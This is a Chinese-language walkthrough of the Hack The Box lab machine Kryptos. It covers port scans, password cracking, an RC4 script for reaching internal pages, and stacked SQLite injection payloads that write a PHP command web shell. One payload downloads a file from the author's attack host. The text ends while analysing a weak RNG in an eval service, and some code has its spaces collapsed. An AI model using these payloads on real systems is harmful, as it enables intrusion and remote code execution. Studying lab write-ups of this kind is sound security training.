┌──(mikannse㉿kali)-[~] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.129 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 12:53 CST Warning: 10.10.10.129 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.129 Host is up (0.071s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 60384/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds
┌──(mikannse㉿kali)-[~] └─$ sudo nmap -sT -sC -sV -O -p22,80 10.10.10.129 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 12:54 CST Nmap scan report for 10.10.10.129 Host is up (0.066s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA) | 256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA) |_ 256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Cryptor Login Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Linux 3.13 (93%), DD-WRT v3.0 (Linux 4.4.2) (93%), Linux 4.10 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.68 seconds
┌──(mikannse㉿kali)-[~/HTB/kryptos] └─$ feroxbuster -u http://10.10.10.129/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,html,bak,pdf,php --filter-status 404 -k 403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 27l 62w 919c http://10.10.10.129/index.php 200 GET 6l 1429w 121201c http://10.10.10.129/css/bootstrap.min.css 200 GET 27l 62w 919c http://10.10.10.129/ 301 GET 9l 28w 310c http://10.10.10.129/css => http://10.10.10.129/css/ 302 GET 0l 0w 0c http://10.10.10.129/logout.php => index.php 200 GET 1l 0w 1c http://10.10.10.129/url.php 200 GET 0l 0w 0c http://10.10.10.129/aes.php 302 GET 1l 0w 1c http://10.10.10.129/encrypt.php => index.php 200 GET 0l 0w 0c http://10.10.10.129/rc4.php 302 GET 0l 0w 0c http://10.10.10.129/decrypt.php => index.php
┌──(mikannse㉿kali)-[~/HTB/kryptos] └─$ gobuster dir -u http://10.10.10.129/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.129/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /css (Status: 301) [Size: 310] [--> http://10.10.10.129/css/] /dev (Status: 403) [Size: 290]
┌──(mikannse㉿kali)-[~/HTB/kryptos] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status krypt0n1te (?) 1g 0:00:00:00 DONE (2024-09-24 13:34) 1.818g/s 11733Kp/s 11733Kc/s 11733KC/s krypthon..krovalin Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(mikannse㉿kali)-[~/HTB/kryptos] └─$ mysql -uroot -p Enter password: Welcome to the MariaDB monitor. Commands endwith ; or \g. Your MariaDB connection id is34 Server version: 11.4.3-MariaDB-1 Debian n/a
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;'or'\h'for help. Type '\c'to clear the current input statement.
SELECT username, password FROM users WHERE username='admin' AND password='21232f297a57a5a743894a0e4a801fc3'
但是这串哈希无法破解，那么在本地创建表来插入数据
┌──(mikannse㉿kali)-[~/HTB/kryptos] └─$ mysql -uroot -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 32 Server version: 11.4.3-MariaDB-1 Debian n/a
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | cryptor | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.011 sec)
┌──(mikannse㉿kali)-[~/HTB/kryptos] └─$ python RC4.py 'dev/todo.php' <h3>ToDo List:</h3> 1) Remove sqlite_test_page.php <br>2) Remove world writable folder which was used for sqlite testing <br>3) Do the needful <h3> Done: </h3> 1) Restrict access to /dev <br>2) Disable dangerous PHP function
<?php $no_results = $_GET['no_results']; $bookid = $_GET['bookid']; $query = "SELECT * FROM books WHERE id=".$bookid; if (isset($bookid)) { class MyDB extends SQLite3 { function __construct() { // This folder is world writable - to be able to create/modify databases from PHP code $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db'); } } $db = new MyDB(); if(!$db){ echo $db->lastErrorMsg(); } else { echo "Opened database successfully\n"; } echo "Query : ".$query."\n";
http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/shell.php' AS 'shell';CREATE TABLE shell.shell ( data TEXT );INSERT INTO shell.shell VALUES('<?php system($_GET['cmd']); ?>');
; ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.txt' AS 'test'; CREATE TABLE test.test ( data TEXT );INSERT INTO test.test VALUES('this is a text');
然后仅将payload部分选中,右键“convert section”->”URL encode all characters”,编码两次，也就是比上面要访问的页面(sqlite_test_page)多一次，我的理解是：正常访问一次需要进行一次url编码，然后是通过encrypt.php来访问sqlite这个页面，所以还需要再编码一次
; ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/rev.php' AS 'rev'; CREATE TABLE rev.rev ( data TEXT );INSERT INTO rev.rev VALUES('<?php file_put_contents("pwn.php",file_get_contents("http://10.10.14.29:8000/pwn.php")) ?>');
import random import json import hashlib import binascii from ecdsa import VerifyingKey, SigningKey, NIST384p from bottle import route, run, request, debug from bottle import hook from bottle import response as resp
defsecure_rng(seed): # Taken from the internet - probably secure p = 2147483647 g = 2255412
keyLength = 32 ret = 0 ths = round((p-1)/2) for i inrange(keyLength*8): seed = pow(g,seed,p) if seed > ths: ret += 2**i return ret
# Set up the keys seed = random.getrandbits(128) rand = secure_rng(seed) + 1 sk = SigningKey.from_secret_exponent(rand, curve=NIST384p) vk = sk.get_verifying_key()
@route('/eval', method='POST') defevaluate(): try: req_data = request.json expr = req_data['expr'] sig = req_data['sig'] # Only signed expressions will be evaluated ifnot verify(str.encode(expr), str.encode(sig)): return"Bad signature" result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe response = {'response': { 'Expression': expr, 'Result': str(result) } } return json.dumps(response, sort_keys=True, indent=2) except: return"Error"
由于p和g已知，那么尝试多次打印随机数
import random
defsecure_rng(seed): p = 2147483647 g = 2255412 keyLength = 32 ret = 0 ths = round((p-1)/2) for i inrange(keyLength*8): seed = pow(g, seed, p) if seed > ths: ret += 2**i return ret
